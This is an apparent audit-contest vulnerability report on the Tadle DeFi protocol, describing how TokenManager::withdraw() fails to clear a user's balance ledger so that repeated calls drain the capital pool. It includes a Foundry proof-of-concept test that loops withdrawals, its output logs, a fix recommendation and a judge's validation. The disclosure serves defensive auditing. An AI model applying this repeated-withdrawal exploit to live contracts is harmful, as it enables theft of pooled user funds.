Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

The function `TokenManager::withdraw()` has a bug which can drain the entire Capital Pool

Chad0

Summary

In a nutshell, the function TokenManager::withdraw() does not update the ledger userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] when the withdrawal happens, so that it will allow repeated withdrawal until the entire capital pool for that token is drained.

Vulnerability Details

This issue is quite straight forward. This test below can serve as the POC. To run it, add it to the PreMarkets.t.sol file first.

function test_withdraw_multiple_times() public {
test_ask_offer_turbo_usdc();
uint previous_accounting = tokenManager.userTokenBalanceMap(user,address(mockUSDCToken),TokenBalanceType.SalesRevenue);
emit log_named_uint("userTokenBalanceMap[user][TokenBalanceType.SalesRevenue]", previous_accounting);
emit log_string("deal capitalPool with 3 times balances");
deal(address(mockUSDCToken), address(capitalPool), 3 * previous_accounting);
​
uint previous_balance = mockUSDCToken.balanceOf(user);
emit log_named_uint("user usdc balance before multiple withdraw", mockUSDCToken.balanceOf(user));
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
for (uint i = 0; i < 3; i++) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
emit log_named_uint("After withdraw round # ", i+1);
emit log_named_uint("Current user usdc balance", mockUSDCToken.balanceOf(user));
​
}
emit log_named_uint("user usdc balance after multiple withdraw", mockUSDCToken.balanceOf(user));
emit log_named_uint("userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] before withdraw", previous_accounting);
emit log_named_uint("user usdc balance increase by", mockUSDCToken.balanceOf(user) - previous_balance);
emit log_named_uint("userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] after withdraw", tokenManager.userTokenBalanceMap(user,address(mockUSDCToken),TokenBalanceType.SalesRevenue));
}

And, below is the log for the test:

Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_withdraw_multiple_times() (gas: 1565459)
Logs:
userTokenBalanceMap[user][TokenBalanceType.SalesRevenue]: 17000000000000000
deal capitalPool with 3 times balances
user usdc balance before multiple withdraw: 99999999982825000000000000
After withdraw round # : 1
Current user usdc balance: 99999999999825000000000000
After withdraw round # : 2
Current user usdc balance: 100000000016825000000000000
After withdraw round # : 3
Current user usdc balance: 100000000033825000000000000
user usdc balance after multiple withdraw: 100000000033825000000000000
userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] before withdraw: 17000000000000000
user usdc balance increase by: 51000000000000000
userTokenBalanceMap[user][TokenBalanceType.SalesRevenue] after withdraw: 17000000000000000

Impact

This bug can drain the capital pool. Definitely a H severity issue.

Tools Used

Manual Review

Recommendations

Update the userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] when withdrawal happens, and better to use the Checks-Effects-Interactions (CEI) pattern.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.